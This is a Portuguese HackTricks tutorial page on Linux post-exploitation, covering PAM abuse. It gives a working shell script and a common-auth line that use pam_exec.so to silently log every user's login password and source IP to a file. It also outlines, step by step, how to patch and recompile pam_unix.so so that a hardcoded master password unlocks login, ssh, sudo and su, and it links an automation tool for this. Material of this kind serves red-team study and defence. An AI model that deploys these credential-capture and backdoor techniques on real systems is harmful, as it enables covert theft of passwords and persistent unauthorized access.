hacktricks/linux-hardening/linux-post-exploitation

Pós-Exploração no Linux

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
• Adquira o swag oficial do PEASS & HackTricks
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.

Capturando Senhas de Login com PAM

Vamos configurar um módulo PAM para registrar cada senha que cada usuário utiliza para fazer login. Se você não sabe o que é PAM, confira:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Para mais detalhes, confira o post original. Este é apenas um resumo:

Visão Geral da Técnica: Os Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão da autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também representam riscos se forem mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando o PAM, juntamente com estratégias de mitigação.

Capturando Credenciais:

• Um script bash chamado toomanysecrets.sh é criado para registrar tentativas de login, capturando a data, nome de usuário ($PAM_USER), senha (via stdin) e IP do host remoto ($PAM_RHOST) em /var/log/toomanysecrets.log.
• O script é tornando executável e integrado na configuração do PAM (common-auth) usando o módulo pam_exec.so com opções para ser executado silenciosamente e expor o token de autenticação para o script.
• A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais discretamente.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Instalando um Backdoor no PAM

Para mais detalhes, consulte o post original. Este é apenas um resumo:

O Módulo de Autenticação Plugável (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: nome de usuário, senha e serviço. Os arquivos de configuração para cada serviço estão localizados no diretório /etc/pam.d/, onde bibliotecas compartilhadas lidam com a autenticação.

Objetivo: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é especialmente focado na biblioteca compartilhada pam_unix.so usada pelo arquivo common-auth, que é incluído por quase todos os serviços para verificação de senha.

Passos para Modificar o pam_unix.so:

1. Localize a Diretiva de Autenticação no arquivo common-auth:

• A linha responsável por verificar a senha de um usuário chama pam_unix.so.

2. Modifique o Código-Fonte:

• Adicione uma declaração condicional no arquivo de origem pam_unix_auth.c que concede acesso se uma senha predefinida for usada, caso contrário, ele prossegue com o processo de autenticação usual.

3. Recompile e Substitua a biblioteca pam_unix.so modificada no diretório apropriado.
4. Teste:

• O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos de autenticação normais permanecem inalterados.

{% hint style="info" %} Você pode automatizar esse processo com https://github.com/zephrax/linux-pam-backdoor {% endhint %}